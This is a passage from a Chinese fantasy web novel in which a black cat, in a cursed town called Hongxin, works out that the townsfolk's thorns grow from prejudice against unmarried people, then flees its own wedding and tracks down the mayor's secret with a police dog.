“晚婚就会变成怪物”本来并不是小镇的规则,为什么会变成这样呢? 夏洛特眼睛闪亮,期待地看着小猫。 莉兹拿出针线,开始给小猫织婚纱,缝衣针灵巧地在白纱里穿梭,她低头,一边专注干活,一边嘲讽:“蕾贝卡这么久没结婚,肯定变成怪物了,怪物身上的刺是剪不掉的,就算剪了以后也会长出来。夏洛特,你再拖几年,也会变成她那样。” “戴维以前也给蕾贝卡写过情书,”夏洛特不甘示弱地回:“他根本不喜欢你。” “夏洛特!”莉兹一张温柔的脸因为愤怒扭曲,双颊通红,气恼地看着妹妹,“你再这样,我真的告诉妈妈了,别以为我不知道,你身上已经长出刺来了,是不是?” 夏洛特看向缩在被窝里看戏的小猫,“你告诉别人啦?” “咔嚓——” 她合拢手里的大剪刀。 “和小妹妹没关系!我早就知道了,只是帮着你在隐瞒,要是别人知道,不会有人和你结婚啦。” 夏洛特扬起脖子,骄傲地说:“我才不在乎别人呢。” “但是,要是别人知道你已经到长刺的年纪,你身上的刺就会越来越多,用剪刀也剪不完的!” “喵?”小咪好像抓住了一点关键。 为什么被别人知道,夏洛特身上的刺生长速度就会快?难道年龄并不是身体开始长刺的原因? 猫把下巴搁在自己的尾巴上,咬住自己尾巴尖尖,思考着红心镇上发生的事情。 最开始,一对年轻的情侣来到红心镇上,种下了教堂里的玫瑰树,许愿世上相爱的人都能在一起。于是人们心中产生爱时,爱意就会化成一朵朵美丽的玫瑰花,胜过世界上最动人的告白。 而相对应的,憎恨厌恶这样的负面情绪,就会变成玫瑰花上的尖刺,爱与恨都不能隐瞒,只有真诚相爱的人,才会彼此相拥。 “怪物”是后来才出现的。 来到红心镇的人也有成年人,他们年纪早就达到了那条死线,却没有一进入小镇,就产生异变变成怪物。 说明年龄并不是直接让身体长刺的原因。 让未婚者身上长出刺的,根本不是小镇的规则,而是镇民们对他们的偏见。刺是偏见憎恶的具现化! 这时,门被直接推开。 伯爵夫人那张冷酷的面孔出现在了门外。母亲、父亲,还有姐夫哈维,一同站在了门口。 “我们都听见了。” 第96章 夏洛特:“妈妈!” 伯爵夫人面无表情,严肃地盯着屋里三个女孩,好像她们做了什么罪不可赦的事。 “夏洛特,你的身上开始长刺了。”哈维大声说, “你一直说谎,背地里偷偷用剪刀剪掉自己身上的刺。” 夏洛特惊慌地往后退,哈维早就冲进来, 合上了窗户。 “掀开你的衣服。”伯爵夫人冷酷地发布施令。 “妈妈!”莉兹冲出来为妹妹求情,“拜托,我只是开玩笑的,夏洛特身上根本没有长刺,我胡说的。” “夏洛特,脱掉你的衣服。” 夏洛特捂紧衣领,但所有人都看见,在她的宽松睡裙底下,有东西慢慢生长、凸起,将睡裙撑起尖锐的幅度,最后很轻地“呲”一声响起,裙摆布料碎裂,一根木质的尖锐长刺从她的身体里钻了出来。 “她变成了怪物!”哈维大喊,“她变成了怪物!” 随着他的呼喊,夏洛特身上的刺飞快生长,一根根绿色的尖刺破开她裸露的皮肤,密密麻麻地长在了胸口、手臂。她徒劳地拿起剪刀,却剪不完一茬一茬长出的尖刺。 “她变成了怪物!”哈维仿佛变成一只尖叫鸡,高声重复着。 “别喊了,会被其他人听见。”莉兹跪在哈维的脚边,苦苦哀求, 而哈维却无动于衷。 小咪跳到窗台上,往外面看。伯爵家的庄园位置在小镇的最上方,花园与草坪很大,因此与小镇隔开了。哈维这样大声,也没有惊动其他镇民。 但是明天他一定会同别人说起的,或者拿这件事作为要挟,从伯爵夫妇那儿换来更多筹码? 小咪轻轻叹口气。 人,好复杂; 猫,不理解。 耳畔尖叫鸡的声音戛然而止,小咪扭头往后看。 莉兹一脸是泪,跪坐在地上,边哭边用针线缝起哈维的嘴巴,“对不起、对不起,但你不能把这件事传出去。” “莉兹!”伯爵夫人气得身体一晃,撑住桌子角,“你还帮着夏洛特隐瞒,要是别人知道,你也会……” “我已经结婚了,妈妈。”莉兹哭着恳求,“我不会变成怪物的。请不要惩罚夏洛特。” 伯爵夫人甩开莉兹的手,走入房间,冷漠地注视着女儿。 夏洛特倔强地看着她,“妈妈,你要因为我是个怪物,就把我杀死吗?” 伯爵夫人面无表情地说:“你会害死其他人。” “姐姐已经结婚了,妹妹马上要订婚,我会影响到谁?可怜的本杰明还要很久才到结婚的年龄呢。” 莉兹:“现在只有让夏洛特先找个人结婚啦。我知道的,苏尔很喜欢夏洛特……” 话还没说完,红发少女不满地囔囔起来,“我才不要!他一点儿也不喜欢我,只是喜欢妈妈为我准备的一箱珠宝。红心镇上的男孩子都是这样庸俗粗浅的人,”她的眼珠子转了转,“富尔门警长除外,可是富尔门警长已经被小妹妹预约了。” “瞧瞧你现在的样子,你还挑剔什么?!”伯爵夫人厉声呵斥。 “可我就是不愿意!”一根绿刺从夏洛特的脸颊冒了出来,青翠、坚硬,像一根锐利的笋尖,从少女雪白柔软的皮肤里钻了出来。 莉兹哀求着妹妹,而伯爵则拿起了餐刀。 伯爵夫人冷酷地说:“如果你坚持自己的决定,我们只能先把你处理掉了。不能让你害死了自己的姐妹们。” 眼看一场家庭惨剧就要发生。 “喵喵喵。” 小黑猫的叫声把所有人注意吸引。 猫坐在靠窗的木桌上,身后是雕花玻璃窗,银色月光透过玻璃,洒在小猫油光水滑的皮毛上,为它镀上一层银辉。 它揣着爪爪,表情端庄,认真地说:“喵呜——” 大家听喵说。 就算一直没有结婚,年纪变得很大,也不会让人变成怪物。 “但是,”莉兹擦掉眼泪,“你看夏洛特的样子,她都已经是这样了,要是再拖一段时间,她会像蕾贝卡一样,身上长满了尖刺。” 小咪歪头,看向夏洛特。就这么一小会的时间,少女的皮肤又冒出一片绿色的刺尖。刺并不大,但很密,像片绿色的皮藓黏在皮肤上。 “喵呜——” 结婚与否,年龄大小,都不是变成怪物的必要条件。因为做出不符合众人期待的事情,特立独行,才成为了所谓异类。但异类一开始并不是怪物。 对上莉兹与父母的眼神,小咪抬起爪爪,优雅地给自己洗了洗脸,拖长了声音,“喵喵喵呜——” 夏洛特身上的刺,不是她自己长出来的,是你们对她的偏见,才让皮肤上多了一根根尖刺。 小咪跳到了夏洛特的身边,用头蹭蹭她小腿上的尖刺。 “小妹妹!”莉兹脸色惨白。 绿刺狰狞,扎穿了小猫的脑袋。它歪着头,刺从左耳钻入,右耳钻出。 “喵。”小咪将脑袋缩了回来,被大姐抱入怀中,仔细查看伤痕。 她抓着小猫的耳朵吹一口气,害得小咪耳朵发痒,忍不住抖阿抖。找了半天,莉兹也找不见一点伤痕,只能摸到猫眉毛的位置,喃喃:“这里有点秃了。” 气得小咪喵喵大叫反驳: 才没有秃! 猫生来就是这样的! 莉兹喃喃:“难道夏洛特身上的刺并不会伤害我们?” 她壮起胆子,去触碰夏洛特脚踝坚硬狰狞的刺尖,当触碰到刺时,她痛呼一声,殷红的血珠从雪白手指滚落,滴在地毯上。 “为什么小妹妹就不会有事?” “喵喵喵!” 小黑猫很大声地叫:猫早就说过啦,因为猫才没觉得二姐姐有什么不对,猫觉得不结婚也很对,结婚也很对,怎么样都对! “我懂了,”莉兹抚摸它的小脑袋,“小妹妹的心里,并没有偏见。” “喵!” 莉兹扭头,看向了红发女孩,“夏洛特,我也不知道这样是对还是错的,从小到大,红心镇就是这样教我的,我不是故意对你怀有偏见。”她真诚地向妹妹道歉,“其实你说得对,结婚也没有很好。” 莉兹忧郁地看着地上的丈夫,哈维嘴巴被缝了起来,只能不断挣扎着。 “哈维是看上我们家的财产,才愿意和我结婚,他并不爱我,我能感受到,他心里堆积的怨恨。妈妈,你总说忍一忍就好了,只要每天将刺吐出来,总比变成一个全身长满刺的怪物要强。可是,原来刺也是因为我们才产生的,这样看,所有的人不都是一样,都长着刺,有的人长在肚子里面,有的人长在了皮肤上。” 她往前一步,靠近夏洛特,夏洛特紧张地后退,但莉兹动作更快,双手合拢,抱住了妹妹。 尖刺穿透她的身体,鲜血染红了雪白的睡裙。 莉兹将脸抵在夏洛特的肩膀,低声喃喃:“对不起,我也不想对你有偏见的。” 夏洛特想要抱她,又怕一身的刺扎穿了莉兹的心脏,只能尖叫着叫她走开。 伯爵将莉兹抱开,伯爵夫人抿紧嘴角,面孔霜白。 “但是妈妈,就算不能像小妹妹一样,拥有一颗没有被红心镇污染的纯洁的心,”莉兹在血泊里抬起脸,坚定地看着自己的母亲,“有一件事,我也深信不疑。” “是什么事?” “我爱你们,超越了对哈维的爱。”莉兹微微笑着,“镇子上宣扬真爱无悔,真爱至高,只有在这个时候,我才明白,什么是真正的、无悔的爱,但这并不是爱情。妈妈,世界上并不只有一种情感,也应该不只有一种人生,妹妹们可以选择自己的人生,这并没有什么错!” 伯爵夫人紧紧抿着嘴,不苟言笑的面孔愈发严肃,过了片刻,她叹了口气,对着夏洛特说:“就算我们不把你当做异类,其他人也会将你看成怪物。我安排了一艘航船,就停在了港口,等参加完图多盖洛的婚礼,你就偷偷离开吧。” “妈妈!”夏洛特惊喜地瞪大了眼睛。 航船不可能马上安排好的,难道妈妈早就为她准备了退路? 小咪跳到了莉兹身边,将爪爪贴在了她的手背上,运用能力治愈她的伤口。但咪很快就发现用不着,鬼域里原住民的治愈能力极强,只一会,莉兹就没怎么流血了。 “喵喵喵——” 它打断了这母慈女孝的一刻。 “图多盖洛,你有什么意见吗?” 小咪重新跳到书桌上,坐在自己专属软垫,爪爪并拢,坐姿端庄,“喵啊。” 猫觉得这样不行。 先不论玫瑰树存在,夏洛特能不能离开,就算能离开,下一个被视作怪物的,就变成伯爵一家了。 “为什么?”夏洛特马上明白过来,“因为我的离开,镇民们会用异样的眼光看你们。”她拿起大号园艺剪刀,“要怎么办呢?把他们全部杀掉,可以吗?” “夏洛特,不要胡闹。”伯爵夫人厉声呵斥。 小咪:“喵~” 猫想要大家的帮忙。 莉兹爬起来,环住小猫,“只要是小妹妹想做的事情,我们都会尽力的,我们是相爱的一家人呀。” 小咪被家人们围在中间,它偏了偏头,看向了窗外。 镇子陷入银色如水的月光里,屋顶粼粼,花树成群。 咪的困境解决了,但今天晚上,人那边肯定不好过。 毕竟他们在鬼域,可没有这样爱他们的“家人”。 小猫轻轻叹气,再次为人类的命运感到忧愁,它打了个哈欠,钻到自己的被窝里,脑袋枕住尾巴,咬着尾巴尖尖,很快就睡着了。 “图多盖洛!” 母亲的呼唤声把猫从好梦中叫了醒来。它朦朦胧胧睁开眼睛,就被人抓住后脖子,从暖和的被窝里薅了出来。 “喵喵喵!” 小咪不满地叫囔着。 “今天是你结婚的日子呢,你怎么还能在这里睡觉?快起来打扮。” “喵呜。”小咪身体软软的,放空大脑,让姐妹为自己戴上宝石与首饰。 姐姐拿出化妆箱,打开贝壳盛着的一盒香粉,看着小猫的黑脸,陷入沉默,无从下手。她把香粉放回,安慰自己:“图多盖洛天生丽质,用不着化妆啦。” “喵呜。” 父亲拿出家中最气派的马车,但在出发前,一家人照例在饭桌前吃饭。 今天是值得庆祝的日子,大家都喜气洋洋,神色兴奋。小咪坐在桌子上,歪了歪猫头,透过头纱,打量着桌前的人。 严肃的父亲嘴角轻轻扬起,不苟言笑的母亲也带着抹淡淡笑意,夏洛特身上的刺被剪掉了,脸上也用纱帽遮掩,她和莉兹嬉笑着,夸小妹妹不用怎么打扮也很漂亮。 直到小咪看到了莉兹旁边的座位。 那儿坐着一个嘴巴被缝起来的布娃娃。 第97章 小咪坐在黄金马车上。这是伯爵特意找出的最华贵的车,六轮,车身雕刻复杂的花纹,车轮与车顶都是金灿灿的黄金制成,车顶雕着四个捧花的小天使,每一朵玫瑰花的中心,都镶嵌一颗不同颜色的宝石。 黄金与宝石在清晨第一缕阳光的照耀下熠熠生辉。 “只有这样华丽的马车,才能配得上送我们图多盖洛出嫁。”伯爵握着钻石手杖,欣慰地说。 所有人都被黄金马车的华贵迷了眼,只有小咪毫无兴趣地转了个身,用爪爪扒拉白纱里冒出来的尾巴。 黑色的大尾巴在铺着钻石的软垫上甩来甩去,小咪低下头,认真地用爪爪按住尾巴。尾巴像大黑泥鳅,从猫的肉垫里滑走,它瞪圆了眼睛,站了起来,追着自己的尾巴在车厢里转圈。 “图多盖洛!” “喵呜。”小咪抬起脑袋,头上的花环头纱也随之歪了歪,差点掉在了地上。 伯爵夫人深呼吸一口气, 想发火,但忍住。 今天是小女儿结婚的日子,她要做个慈爱的母亲。 她把小咪抱在膝盖上,将花环重新戴好,手掌按住小猫扭动的身体。小咪只能像猫猫虫一样蛄蛹扭动,鼓囊囊的嘴套子里呜呜地埋怨。但没抱怨多久,它就安静下来,专心舔着自己的爪爪,把肉垫舔得嫩又粉。 马车开到了教堂门口,本来紧闭的两扇大门敞开,镇长穿着笔挺的黑西服,站在了最前面,左右都站着红心镇上的镇民。他们与镇长打扮相同,清一色穿着黑色正装,面上带着笑容。 婚礼是红心镇上极其盛大的节日,无论是谁结婚,所有的镇民都会正装参与庆祝。 小咪透过玻璃,望着他们,总觉得不太对。但小猫的脑瓜子不懂人类的礼仪,说不上哪儿不对,它揣着两只爪爪,等待自己的人类出现。 “喵呜~” 太阳一点点往上移,日光逐渐炽烈,车顶四个小天使散发耀眼的金光。 “今天有三对新人登记结婚,”镇长微笑着说:“我们的图多盖洛和富尔门,哈特和一位外来旅人,还有总是单身的孤独约翰,和他的小鹦鹉。” 小镇对爱情的态度从某种称得上包容,连人和鸟结婚也能接受。 镇民们欢呼雀跃,瞧着满脸喜色,但小咪睁大眼睛,仔细瞧,发现一丝端倪。在好几个镇民的皮肤上,有着划破的伤痕,壮汉乔治的手背上,还有一个血洞,血已经凝固结痂,黑压压地像个钉子钉在了手背。察觉到猫的视线,他装作不在意地把手背在身后,仿佛犯错的小学生。 那似乎是一个狗咬出的痕迹。 尖锐的犬齿,贯穿了他的整张手掌。 “喵呜。” 小咪焦躁地甩了甩尾巴。猫已经猜到发生什么事了——昨天他们和蕾贝卡接触,触发了小镇的死亡条件,当天晚上,肯定有不少镇民来找几个人类。 可小咪没想到,闪电也会卷到这件事里。 作为镇上有威望的警长,它明明有更容易的方法摆脱镇民追杀,只要和他们说,是在调查审问蕾贝卡,或者别的什么理由。镇民们对富尔门警长非常崇拜,随便一个理由就能搪塞大家。 难道是闪电警官不会撒谎吗? 还是它护卫犬的天性爆发了,站在了小镇的敌对面,去保护人类啦? 小猫想来想去,还是第二种可能性比较高。它站起来,从母亲膝盖跳下。 马车车厢的坐垫是用名贵皮革铺成,坐垫上又铺着一张绸布包裹,银线刺绣,缀着宝石的软垫。小咪踩在皮革上,磨磨爪子,把皮革挠出一道又一道的流苏,它又跑到软垫上,伸出爪爪…… 爪子被一把捏住了。 伯爵夫人心疼地倒吸一口气,“图多盖洛,这可是我们家祖传的、最珍贵的马车。” “喵呜。” 猫要靠磨爪子来缓解压力。小咪磨不了爪爪,只能面无表情地舔自己的毛,胸口的毛被它舔得湿漉漉的,一绺一绺成结。 伯爵夫人看不过去,松开了手,“你还是继续磨爪子吧。”她皱起眉,看向窗外,不满地说:“富尔门怎么还不来呢?让女孩子等这么久,可不是绅士应该有的作风。” 小咪站起来,前爪扒拉着窗户。 透过玻璃,它看见几个镇民眼神相对,露出了诡异的笑容。猫心中的不安越来越浓重,昨天晚上发生了什么?他们把人杀了,偷埋在哪棵玫瑰树下吗?他们也杀掉了猫的新郎吗? 小咪抬起爪爪,在玻璃上挠来挠去擦玻璃。 “图多盖洛。”母亲不满地叫着,让她注意下淑女的仪表。 但小咪这次没乖乖听母亲的话,它见打不开窗户,就用力撞向车门,跳了出去,跑到了镇民面前。 它先来到壮汉乔治的面前。 戴着花环的小黑猫抬起脸,爪爪并拢,认真看着比自己高大无数倍的人。 被小镇上最可爱的姑娘注视,乔治忍不住红了一张脸,磕磕巴巴地说:“图、图多盖洛小姐,有什么事吗?” 小咪没有说话,观察他一会,伸出小脑袋,在乔治的鞋上嗅来嗅去。乔治穿着双崭新的皮鞋,但袜子没有换,一股酸臭的味道直冲猫的鼻孔,熏得小猫眯起眼睛。 在脚臭味里,它闻见了浓烈的血腥味,和潮湿的泥土味。 小猫鼻翼翕动,更加仔细辨别。 泥土中水汽很重,带着咸湿味。 它正要更仔细的嗅,却突然被一把抱了起来。 母亲涨红着脸,指责:“图多盖洛,你这是在做什么?” 怎么有新娘结婚当天,趴在另外一个男人的脚边嗅来嗅去。 小咪这次却没有选择当一个乖女儿,听母亲的训斥。它伸出爪爪,肉垫抵在伯爵夫人的薄唇上,按住了她的嘴。 你先别说, 让猫先说。 “喵喵喵!”它对着乔治大声叫。 你把猫的新郎怎么样了? 乔治脸上的血色马上消失,“图多盖洛小姐,您在说什么啊?” “喵喵。”是不是把它杀了,埋在了靠近大海的沙滩上? 乔治惊讶地瞪大眼睛,“你看见……不对,”他和身边的人眼神对视,嘴角上扬,换上微笑,“是这样的,昨天晚上,小镇上来了几位穷凶极恶的海盗,富尔门警长追着他们,往海滩的方向去了,但之后发生什么,谁也不知道,毕竟我们只是老实守法的普通市民啊,怎么敢面对海盗呢?” 小咪转过身,就往海滩的方向跑。 “图多盖洛小姐好可怜哦。” “新婚第一天,就要失去她的丈夫了。” “不对,现在还没有进入教堂,在玫瑰树下缔结誓约,图多盖洛小姐还是可以同别人结婚的。” …… 镇民们的声音搅得小咪心烦意乱。他们像一群吱吱叫的老鼠,猫想跳起来咬断他们的喉咙。只是现在有比咬耗子更重要的事情,猫要尽快找到失踪的人类与猫的新郎。 它的爪子刨地,快要刨出火星子,头纱与花环早就掉在了地上,漂亮的宝石滚落。 “图多盖洛。”母亲与姐姐在后面喊。 小咪纵身一跳,轻松跳到了旁边的屋顶上,回头看她们一眼,便毫不留恋地跑向了海边。 他们被镇民杀了,大卸八块,埋进了沙滩里吗? 一想到这种可能,猫的心脏就急遽缩紧,闷闷的,但小猫的脑袋小,才一岁的年纪,不明白这样的情绪叫作什么。它就是很焦虑,想不停地磨爪、舔毛,拖长声音嗷嗷叫,尽快找到自己想见的人。 小咪跳过几个屋顶,往海的方向跑,突然之间,迎着太阳的光线,它微眯起眼,看见一个背光朝自己走来的人。 它停了下来,歪着脑袋,猫儿眼睁得圆圆。 富尔门警官逆着光,身形高大挺拔,穿着深蓝色制服,制服上一排银色的纽扣闪闪发光,胸口配绶带与勋章,腰扣铜扣皮带,脚踩一双崭新的褐色小皮鞋。 总之,打扮得很漂亮。 小咪冒出猫猫头,低头看着他,他也仰起脸,面孔略微苍白,脸上有几道结痂的细小疤痕,但也无损英俊与正直,五官端正深邃,斯文内敛。 眼神一对视,小咪就认出来他了。 “喵呜。”它跳到富尔门警长的怀里,大声喵喵叫。 急死猫了,急死猫了。 “对不起。”警长低垂下眼睛,长睫扇动,眼神一如往常潮湿,“昨天晚上发生了一点事情,咪咪,我又变成人了。” 制服底下钻出来一条黑褐色的大尾巴,尾巴像螺旋桨一样摇了几下。 “好奇怪。” “是闪电也觉醒了影子能力。”几个人类在后面跑过来,他们的样子看上去有些狼狈,但好在没什么事,“昨天晚上可刺激啦,全镇的人都在追杀我们,差点被他们剁了,幸好有咱们富尔门警长。快到中午了,先去教堂吧。” “一进教堂,看见玫瑰树,就开始动手。” “不能再拖了。镇民对我们仇恨度越来越高,而我们的木质化程度越高,身体就变得越僵硬,很难躲避他们的追杀。” “小镇的污染源,十有八九是这棵玫瑰树。” ———— 在进入教堂,看见玫瑰树后,众人更加肯定这点。 这是一棵在现实中不可能存在树,在教堂外时,他们已经知道它的高大,但当真正站在树下时,仰头看着巨大的树冠,心中不由震撼。头顶变成片翠绿的天,树枝上一簇簇玫瑰花鲜红滴血,像天上的飘着的红云。 三对新人手挽着手,站在玫瑰树下。在镇长笑眯眯地宣读完一串誓词,要彼此对着玫瑰树许愿发誓时,几个人目光相对,准备动手。 小咪趴在了闪电的怀里,小脑袋转来转去,四处张望。 视线掠过镇民们——镇民们表情奇怪,咬着牙,肌肉扭曲,却竭力挤出祝福的笑容。 望向亲人——他们弯起眉眼,真诚在为小猫的幸福而祈祷。 它最后望向了慈眉善目,白发苍苍的老镇长。 镇长微笑看着他们,目光充满赞扬与祝福,他如此慈祥和蔼,让人本能信任,无法产生一丝怀疑。 但就是这时,小猫的脑袋里闪过一个问题。 为什么没有见过村长的妻子呢? 为什么喵? 小咪挣扎几下,从青年的怀里跳了出来,大步跑向教堂门口。与此同时,夏双双召出自己的影子,手握一把金色戒尺,对着玫瑰树冲去。 “咪咪?”夏炫回头看它。 “糟了,图多盖洛小姐要逃婚。” “啊,他们想对玫瑰树做什么?” 情况突然变得十分混乱。 第98章 玫瑰花纷飞,像下了场殷红的雨。夏双双的戒尺触碰到玫瑰花树上,树皮皲裂,涌出鲜红的血。 “就是这个了, 快把它收容。” 谢临风拿出一片黄褐色的、湿漉漉的布。布上滴着阴冷的尸水,落地便凝结冰霜。这同样是一件污染物,已经经过处理,特殊情况下,可以申请使用,用了收容鬼域里的污染物。 “阿炫,替我们拦住镇民们。” 在他们对玫瑰树动手时,镇民们就已经控制不住对他们的仇恨,越过涂黑漆的长椅,踩翻前面一排排被布置好的花篮,冲向了他们。 夏炫拔出手枪, 子弹呼啸,精准地破开壮汉乔治的脑袋。 “砰!” 他的头颅像个西瓜裂开, 身体摇摇晃晃, 颈部的肉碎成暗红色的流苏, 挂在脖子上。和鲜血喷涌而出的,还有一根又一根的尖刺。 夏洛特瞪大眼睛,“妈妈, 小妹妹没有说错, 他们的身上也有刺,他们的刺长在心里!” 伯爵夫人没功夫注意这点, 对乔治脑袋被爆也毫无兴趣,她表情扭曲,不知道从哪拿出自己的大斧头, “不许破坏我女儿的婚礼。”她的表情阴沉得可怕,身边的伯爵同样挥动钻石手杖,沉声喊:“谁也不许破坏我们女儿的婚礼。” 这次,他们为了小女儿,站在了小镇的对立面。 但婚礼的当事猫当事狗,早就趁乱跑出了教堂。 “汪汪?”富尔门警长情急之下开始说狗话。 小猫,为什么要逃婚? “喵呜。”小咪跑得飞快,身体一矮,钻过某个村民的裤腿,又钻到一个村民的裙底,在无人注意间,成功越过了教堂大门。 为了庆祝婚礼,所有镇民都聚集在了教堂中。 平日热闹的大街空无一人,只一树树灿烂的玫瑰开放。 “喵呜?” 镇长的家住在哪里? 闪电是镇上的警长,对每一位居民的住址都熟稔于心。但当小猫问起镇长的住址时,他呆滞了一下,似乎从没有思考过这个问题。 关于镇长的住址,就像教堂的存在一样,小镇有意向他们隐瞒,他们除非去主动察觉不对,否则会下意识忽视这两个地方。 “喵!”小咪抬起爪爪,肉垫在闪电湿漉漉的鼻头上拍了拍。 居然连镇长的地址都不清楚,真是条没用的狗子。 闪电眼神瞬间黯淡,尾巴垂下来,无精打采地低着头。 “汪呜。”它喉咙里发出轻轻的呜声。 小猫不愿意结婚,是觉得它没用吗? 小咪:“喵喵喵!” 它们本来就不是来结婚的,它们是要找线索的! 闪电肉眼可见地垂头丧气。 对啦。 镇长每天都会给妻子买甜甜圈,可以先从面包房调查。它们的嗅觉都很灵敏,说不定能顺着面包房的味道,嗅到镇长家。 小咪想到这里,就大步往面包房里跑。 面包房玻璃橱窗明亮,面包外壳焦黄,内陷柔软,散发着甜蜜的香气。 镇上所有人都应该参加婚礼,但奇怪的是,面包房的老板依旧在兢兢业业地揉面团、烤面包。这正方便了小猫问路,它跑到橱窗前,朝着里面喵喵叫。 “喵呜。” 你知道镇长住在哪里吗? 面包房的老板是个表情严肃的女人,她没有参加婚礼,却与小镇居民一样打扮隆重。头上戴着顶黑色的纱帽,身穿黑色长裙,在黑裙上,又穿了件方便揉面的粗布灰白围裙。 听见小猫的叫声,她把面团丢在案板,转过身,朝着猫笑,“这不是图多盖洛吗?你今天不是要结婚嘛,为什么离开了教堂?” “喵呜~” “镇长住在哪儿?等一下,”老板转过身,端出一个奶油蛋糕,奶油上洒满了蓝莓坚果,“这是为你婚礼准备的蛋糕,刚刚做好,图多盖洛,你先吃一口吧。” 奶油的香气飘过来,小咪忍不住舔了舔鼻子。 女人将蛋糕切了一块,放在小盘子里,小咪忍不住靠近,正要舔一口时,闪电突然冲过来,用嘴筒一拱,将蛋糕打翻。 奶油之下缓缓冒出血红色的粘稠液体,根根尖刺从奶油下扎了出来。 “喵!”小咪瞪圆了眼睛。 老板的毒蛋糕被打翻,眼神愈发怨毒,恶狠狠地看着小黑猫。她的嘴角抽搐,脸上几点雀斑跟着抖,黑纱帽子下泄出几根黄色的头发。 看着黄发,小咪突然意识到,面包坊的老板,是变成玫瑰树的苏特的母亲。 女人抄起旁边切面包的刀,说:“图多盖洛,你是个杀人犯,你害死了我的孩子。” “喵喵喵。” 小咪委屈地胡子都下垂了。 明明是他自己变成玫瑰树的。 “苏特是那么乖巧的一个孩子,为什么呢?为什么你不愿意接受他呢?”女人诉说怨恨,没说几句,突然肩膀颤抖,剧烈呕吐,吐出一根根尖刺,大量的刺划破了喉管,血也喷了出来。地上多了一堆鲜红黏液,就和给小咪蛋糕里的加料一模一样。 女人擦掉了嘴角的血,“小镇允许你拒绝他,我也应该忍受,但是一想到我的苏特因为你死掉,我就忍不住吐出一盆一盆的刺,我的心脏快要被刺穿了,再等下去,我就要死掉了,所以图多盖洛,”她拿着餐刀爬了出来,追赶着跑远的小猫小狗,大喊:“你去死吧,你去死吧!” 小咪边跑边往后看一眼。 女人四肢变得扭曲修长,像只蜘蛛,爬得飞快,只是偶尔要停下来呕出一滩带刺的血。但就算这样,她的速度也奇快无比,曲折的手臂有一两米长,一步胜过猫跑十步,很快就要追上了小咪。 闪电伏低身体,小咪纵身一跳,跳到了狗子坚实后背。它的爪爪抱住闪电粗壮的尾巴,紧张地瞪圆眼睛,看着蜘蛛女距离越来越近。 就在这时,“砰”地一声响,子弹落在了蜘蛛女的面前。 “咪!”小咪本以为是夏炫,扭头一看,视线中出现一片灿烂的玫瑰花。 原来它们已经来到了蕾贝卡的花园前。 火枪从窗缝里伸出,对着一切外来者。 小镇上的居民对蕾贝卡情感很复杂,既厌憎,又害怕。 小咪和闪电钻进了蕾贝卡的花园,蜘蛛女守在了门外,徘徊不去,选择了蹲守。 “喵。”小咪抬头,焦急地看着越来越红的天空。不知道教堂那边发生了什么,但它们得尽快找到镇长的住所。 它跳到蕾贝卡的窗台上,大尾巴一甩,照例把花盆甩飞几个。黑洞洞的枪口指着猫的脑袋,它对着火枪喵呜喵呜叫。 人,你知道镇长住在哪里吗? 人,你愿意和猫一起出去,打跑那个蜘蛛女吗? 蕾贝卡叹气:“小镇上的人恨我,如果我走出去,他们会把我撕碎的。” “喵喵喵!”他们都去参加婚礼了,不会出来。 “但是,如果他们过来了呢?我的身体变成木头,走得很慢。” “喵喵喵!” “但是……” 小咪说了好一会,突然意识到,蕾贝卡同样也在害怕,她害怕走出这间保护自己的木屋,面对整个小镇汹涌的偏见与恶意。它歪了歪脸,在窗台上走来走去,成功祸害了蕾贝卡所有的花盆,然后偏偏头,蹭着蕾贝卡僵硬的手臂。 “喵。”它认真坐在空荡荡的窗台上,对着蕾贝卡叫。 猫知道一艘可以离开红心镇的船。 蕾贝卡瞪大眼睛,“船?” “喵!” 小咪认真许诺,为自己的二姐姐邀约一个海上的伙伴,“可以在大海冒险的船。” 对自由与冒险的渴望超越了恐惧,蕾贝卡关闭炉火,拿起火枪,背上背着早就准备好的背包,和小猫一起走出这栋困了自己许多年的木屋。她抬起火枪,像个经验老道的航海士,对着蜘蛛女举枪射击,子弹像密雨倾洒,打中了蜘蛛女的手臂。 蜘蛛女惨叫一声,转身跑远。 “我知道镇长住在哪儿,我带你们过去。”蕾贝卡深呼吸一口外面的空气,朝着小咪伸出手。小猫不惧怕她满身的尖刺,跳到了她的身上,拿蕾贝卡木化的肌肤挠了挠爪子。 蕾贝卡手脚畸变,异于常人修长,步伐慢,却很大,带着小咪大步往前走。她路过了教堂,小咪趴在她身上,往门里看了眼。 教堂里很乱,玫瑰树被砍了一道长长的裂口,鲜血从断口涌出,像口血红的喷泉,汩汩冲出十米多高的血泉,地面积累了厚厚的血浆。它看不见人类的身影,但看见了自己的父母、姐姐。 伯爵一家早就没有最开始的绅士优雅,身上礼服被血浸透,拿着各自的武器,在和镇民们厮杀。也是在小咪抬头看时,莉兹似乎有心灵感应,恰好回头,与小妹妹的目光对上,她微微睁大眼睛,惊讶地张了张嘴。 不知道为什么,小咪有些心虚,小脑袋缩了缩。它看见姐姐朝自己笑了一下,嘴唇轻动,无声地在说几个字。 小咪学着人类的嘴型,回忆字典里的人话,想着姐姐在说什么。 岗口由传? 刚口又串? 港口游船? 哦。 猫明白了。 是“港口有船”。 ———— “这里就是镇长的住址了。” 蕾贝卡推开一扇木门。 门后是一片灿烂的玫瑰花海。小咪呆呆喵了声,以为村长也有这么多追求者。但很快它就明白不是这样,这些玫瑰花丛并不像玫瑰镇这样高,而更像现实里的玫瑰模样,只到人的腰侧。 漫山遍野的玫瑰,各种品种都有,一簇簇、一团团,鲜艳、热烈、芬芳,美好。 “这是村长自己种的玫瑰喵。” 小黑猫喵喵自语。 它歪头歪脑,视线只有一片玫瑰花,没有看见村长的房子。正疑惑,闪电汪汪叫几声,带着小猫穿越玫瑰花丛,来到了一片草地。 这儿也没有房屋,只有一个隆起的、小小的坟茔。 “汪汪!”闪电在坟前叼来了一块报纸碎片。 鬼域外的那一半报纸,说的是红心镇镇外开满玫瑰花,以玫瑰著名,于是镇上抓住商机,举办活动,邀请情侣们来此游玩。 而这一半报纸,补全了这个故事,说明玫瑰花来源。 是在很多年前,在等级森严、封闭保守的年代,伯爵家最可爱迷人的小女儿,和一位身份卑微的男孩陷入爱河。两个人约好一起私奔,可消息被关系并不融洽的姐妹告密,事情败露,男孩被捆绑手脚,丢进海里,女孩则被囚禁。 依靠好运,男孩并没有死,隐姓埋名成为一名战士,在战场上立下了功勋,最后以战争英雄的身份重新回到镇上,变成小镇里有身份地位的警长。 